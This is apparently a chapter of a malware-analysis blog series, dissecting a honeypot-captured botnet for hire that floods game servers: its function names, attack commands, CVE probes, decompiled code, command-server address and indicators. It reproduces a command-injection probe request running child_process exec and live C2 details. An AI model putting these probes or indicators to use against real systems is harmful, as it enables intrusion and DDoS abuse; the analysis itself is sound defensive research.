ES EN
Index

KHserver · Chapter 12

Nikki, you are loved

The binary arrived unstripped: its author left inside the names of all six hundred and twenty-eight functions he wrote. It is like being handed a closed book with the index stapled to the cover. Here I read it end to end, function by function, until I reach the one string that fitted nowhere.

When I open one of these, the normal thing is to start blind: mountains of assembly, functions called FUN_00129e68, and hours of work to find out which one matters.

Not here. This one came unstripped — the compiler kept the names the author gave every function and nobody removed them before shipping it. 628 functions with their first names on. It's like being handed a closed book with the index stapled to the cover.

I read the index. And that was all it took to know what this thing does for a living.

01The book's index

readelf · functions (extract of 628)
exploit_dasan_gpon      cod_flood         killer_loop
exploit_huawei          fortnite_flood    watchdog_maintain
exploit_draytek         r6_flood          scanner_loop
exploit_totolink        rust_flood        report_exploit
exploit_tplink          vseattack         findRandIP
exploit_zte             udp_amp_flood     processCmd
exploit_react2shell     tls_hello_flood   initConnection
exploit_cve2025_34152   tcp_synack_flood  table_init

Three columns and three answers: who it attacks, who it tries to exploit and how it stays alive. Let's go in order, because the second column is misleading.

02This is sold to drop matches

The processCmd function is the one that interprets what the boss sends. Inside, it is a very long list of comparisons against specific words: the menu of the business.

processCmd · full vocabulary
UDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH
UDP_AMP · UDP_FRAG · UDP_ICMP · UDP_RAND · RESOURCE
TCP_SYNACK · TCP_ACKPSH · TCP_FRAG · TCP_OPT
OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6
SCANNER · TELNET · REP · ON · OFF

The first half is any botnet's generic arsenal: flood with packets one way or another. The second half is the giveaway.

  • FORTNITE · COD · R6 · RUST — flood methods tuned for Fortnite, Call of Duty, Rainbow Six and Rust.
  • VSE · CVSE — the Valve Source Engine: Counter-Strike, Team Fortress and company.
  • OVHHEX · NFOHEX — OVH and NFOservers, the two big game-server hosts. Both advertise DDoS protection; here there are two commands dedicated to getting around it.

Nobody writes a command called FORTNITE by accident. This is not a generic botnet someone uses for whatever comes up: it is a denial-of-service service for hire, aimed at a very specific customer — the one who wants his rival's match to drop. He pays, types COD 1.2.3.4 60, and sixty seconds of somebody else's evening go up in smoke.

A note on the vocabularyOne of the commands is named after a racial slur. I won't reproduce it. I note it because it is part of the portrait: this isn't written by an organisation, it's written by someone who never expects anyone to read his code.

03Fifteen exploits with surnames

The other column is a catalogue of vulnerabilities, and there is no guesswork involved either: the author labelled them himself, most with a CVE number, in strings that travel inside the binary.

the catalogue, exactly as he wrote it
D-Link_DSL_CVE-2016-20017        Totolink_CVE-2025-28137
Dasan_GPON_CVE-2018-10561        D-Link_CVE-2025-29635
TBK_DVR_CVE-2024-3721            Linksys_CVE-2025-9528
Four-Faith_CVE-2024-12856        CVE-2025-34152
ZTE_ZXV10_RCE                    React2Shell_CVE-2025-55182

Nine years of holes in one file, from 2016 to 2025, and seven of them from the last two years. That already says something: this doesn't look like a kit downloaded and forgotten, but like something somebody maintains.

Two caught my eye. CVE-2025-34152 is an unauthenticated command injection in a Chinese wifi repeater, scoring 9.4. And the last one made me sit up straight.

04The exploit that wasn't

React2Shell —CVE-2025-55182— is about as big as anything that has happened on the web recently: unauthenticated code execution in React Server Components, a perfect 10, CISA's known-exploited catalogue, and half the internet patching in a hurry. Finding it inside a router bot is like opening a plumber's toolbox and finding a sniper rifle.

So I went to read the function. Here it is in full, assembly on the left, reconstructed code on the right:

Ghidra showing exploit_react2shell: on the left the ARM assembly with calls resolved to socket and inet_aton, on the right the reconstructed C code, which only sends a request and looks for a string in the response
The whole function, exactly as Ghidra reconstructs it. It opens a socket, sends a request, checks whether a given string appears in the response, and returns true or false. It doesn't download, execute or install anything. (Click to enlarge.)

And this is all it sends:

exploit_react2shell · the request
POST /api/run HTTP/1.1
Host: %s
Content-Type: application/json
Content-Length: 50

{"code":"require('child_process').exec('id')"}

Then it looks for the string uid= in the response. If it finds it, it declares victory.

That is not React2Shell. The real vulnerability is an insecure deserialisation in the Flight protocol React uses to serialise its server components; exploiting it requires building a very specific message against a very specific endpoint. What this function does is knock on a door called /api/run and ask whether anyone in there is willing to run whatever it's handed. It's a generic probe, the kind that has been around far longer than that CVE has had a number.

He put the fashionable name on what he already hadThere is not a single attempt to exploit CVE-2025-55182. There is a three-line probe rebranded with the name of the flaw that was in every headline. It's marketing, not capability.

And it works: if I stop at the list of names and never open the function, today I would be writing that this botnet exploits a CVSS 10. I'd have written it in good faith, and it would be false.

05And then I looked at the other fourteen

If one was lying, the rest had to be checked. I opened exploit_dasan_gpon, the 2018 one, which is a real flaw and among the most exploited in the world. And I found exactly the same function, traced over, changing only the text it sends:

exploit_dasan_gpon · decompiled
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, target, 16);
sprintf(request, TEMPLATE, ip);
send(fd, request, strlen(request), 0);
n = recv(fd, response, 1023, 0);
close(fd);
return strstr(response, "uid=") != NULL;   // ← and that's where it ends

All fifteen follow this mould. They connect, ask, check whether the answer carries uid=, close and return true or false. None of them downloads anything. None installs anything. None infects anything.

And what do they do with that true or false? This — the whole of report_exploit, one line:

report_exploit · in full
sockprintf(c2_socket, "REPORT EXPLOIT %s %s:%d", ...);

It tells the boss. And that's it.

What this actually meansThe bot doesn't spread with those fifteen CVEs: it uses them to search. Every infected device walks the internet at random (findRandIP), knocks on the doors of half a catalogue of routers and cameras, notes which ones sound hollow and sends the list home.

The botnet is, on top of a weapon, a distributed reconnaissance network — paid for with its victims' bandwidth, who on top of hosting the critter are surveying the internet for its owner free of charge.

Its real propagation is the same as ever, the one that brought it to me: brute force against SSH and telnet with root/root. The old way still works better than the new one.

06The boss doesn't live where I thought

Everything pointed at 213.232.114[.]14, the server handing out the binaries. But on startup, the bot doesn't call there. And its real address appears in no string at all: it is split into four loose numbers and only comes together at the moment of connecting.

initConnection · decompiled
szprintf(target, "%d.%d.%d.%d", table_a[i], table_b[i], table_c[i], table_d[i]);
connectTimeout(sock, target, 888, 30);

I went to read those four tables in the program's memory. Inside were 45, 95, 168 and 149. And right next to them, the port: 888.

The command server is 45.95.168.149, port 888, hosted in Croatia. And nobody has it on file: zero reports on AbuseIPDB, unknown to abuse.ch, six engines out of seventy-five on VirusTotal. It is the most valuable piece of the whole analysis and precisely the one that shows least.

But look at that [i]. The index goes up on every connection attempt and rolls back to zero at three: the code is written to rotate between four servers. Only one is configured.

The sum that doesn't add upIf the first connection fails, the bot adds one to the index and reads the tables one position further along — where there are no addresses any more, just whatever was stored next. On the second attempt it builds 95.168.149.888: an address that cannot exist, because no number in an IP can go above 255. On the third, worse things.

The result: this bot gets exactly one shot at finding its boss. If the server is down at that moment, or the network blinks, the infected device sits there calling at impossible doors until somebody unplugs it.

07And then Nikki turned up

With the analysis all but closed, going through leftover strings, I ran into one that fitted nowhere. Not a request, not a command, not an error message. Written character by character in hexadecimal, as if someone hadn't wanted it to stand out.

the string, and what it says
4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20/x4D/x33/x75/x79 ...

 N1kK1 !si M3uy L0Vr3 <3 Pa2rCH M2 A44rCK

Leetspeak: vowels swapped for numbers, a typo every other word, and a heart in the middle. «Nikki is my love ❤».

And I sat looking at it for a while, honestly. After a whole day taking apart a machine built to ruin strangers' evenings, this turns up. Somebody, somewhere, between a command named after a racial slur and a function for dropping Fortnite servers, stopped to hide the name of the person he likes. I even had the ending of the chapter worked out: the bot goes on circling through routers belonging to people who know nothing about any of this, repeating in hexadecimal that Nikki is his love.

Lovely. And since I had five minutes before writing it, I did what I always do before publishing anything: search for the exact string, in case someone had seen it before.

So much for love.

08Five years earlier, and not his

The same sentence, letter for letter, is documented in an analysis from December 2021. A different botnet, SBIDIOT, attributed to a different person, five years before mine landed in the honeypot.

And there the sentence isn't hidden anywhere: it is the payload sent by the POXI attack command. That is, the contents of the packets the botnet fires at its target.

I ran back to my binary to check who used the string. Here is what Ghidra says:

references to the string
DATA 00021140 → '4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20...'
   used by: UDPBYPASS          ← an attack function

Same thing. It isn't a hidden dedication: it's ammunition. It isn't kept so nobody finds it — it's kept to be fired, thousands of times a second, inside the packets that take somebody down.

And the family resemblance doesn't stop there. Compare the two command menus, five years apart:

SBIDIOT (2021) vs. the one in my honeypot (2026)
SBIDIOT:  R6 · FN · PUBG · 2K · ARK · BO4 · OVHHEX · NFOV6 · STD · POXI · RAW ...
mine:     R6 · FORTNITE · COD · RUST · VSE · OVHHEX · NFOHEX · STD · PATCH ...

Same targets, same game-server hosts, some commands with identical names. It's the same lineage. What landed in my honeypot isn't a creation: it's a descendant, with new exploits glued on top and the same old skeleton underneath.

And one last detail, the one that finished me offLook at how the string is written in my sample: 4E/x31/x6B — with forward slashes. In the original source it would carry backslashes (\\x31\\x6B), which is what the compiler turns into the actual text. Here the slashes are the wrong way round, so the compiler converted nothing: what this bot fires inside its packets isn't «Nikki is my love», it's the raw hexadecimal notation.

In other words: he copied someone else's love note — and copied it wrong.

09Indicators (IOCs)

TypeValue
Command server (C2)45.95.168.149 : 888/TCP (MAXKO d.o.o., AS211619) — on file nowhere
C2 protocolREPORT EXPLOIT %s %s:%d · REPORT TELNET %s:%s:%s:%d · SCANNER TELNET <ON|OFF> · «Telnet brute set to %s»
Attack commandsUDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH · RESOURCE · UDP_AMP/FRAG/ICMP/RAND · TCP_SYNACK/ACKPSH/FRAG/OPT · OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6
Embedded exploits (probes)CVE-2016-20017 · CVE-2018-10561 · CVE-2024-3721 · CVE-2024-12856 · CVE-2025-28137 · CVE-2025-29635 · CVE-2025-9528 · CVE-2025-34152 · CVE-2025-55182 (bogus) · ZTE ZXV10 · Huawei · DrayTek · TP-Link · ADB · DD-WRT
Internal marksKHserverHACKER · KHcommSOCK
Masquerades askhugepaged · kthreadd · kworker · systemd · dbus-daemon
Persistence/dev/watchdog and /dev/watchdog2 · oom_score_adj (so the kernel won't kill it)
Built withAboriginal Linux (the usual toolchain for kits in this family)
UDPBYPASS payload«4E/x31/x6B/x4B/x31/x20…» — inherited from SBIDIOT (2021), where it was the POXI command's payload
The disguise has a seamIt passes itself off as khugepaged, kthreadd or kworker — kernel-thread names nobody looks at twice in a ps. But kernel threads have no command line, because they aren't programs: the kernel names them itself. The impostor does have one, and that is where the seam shows.
A negative, in case anyone comes after meI pulled three of the nine binaries down and analysed one. Just in case, I looked at the other two: they carry 955 and 910 symbols against this one's 628. They look like they bring more and they bring nothing — the 492 extra functions are internals of the C library (__GI_*, __rpc_*, pthread_*), language plumbing. Not one new capability. I'm writing it down so the next person doesn't lose an afternoon opening them.

What stays with me is the picture of an ordinary router, in the living room of someone who knows nothing about any of this, calling port 888 on a machine in Croatia every few seconds to ask whose turn it is today.

And when its turn comes, it will fire thousands of packets a second at the server of somebody who only wanted to play a match. Inside every one of those packets travels a five-year-old love note, written by a different person, for a Nikki who most likely knows nothing about any of it — and which, thanks to some slashes pointing the wrong way, doesn't even read as words any more.

Nikki, you are loved. Badly, but loved.

To be continued — the honeypot is still on. When somebody knocks on another door in an interesting way, there will be a thirteenth chapter. 🍯

Comments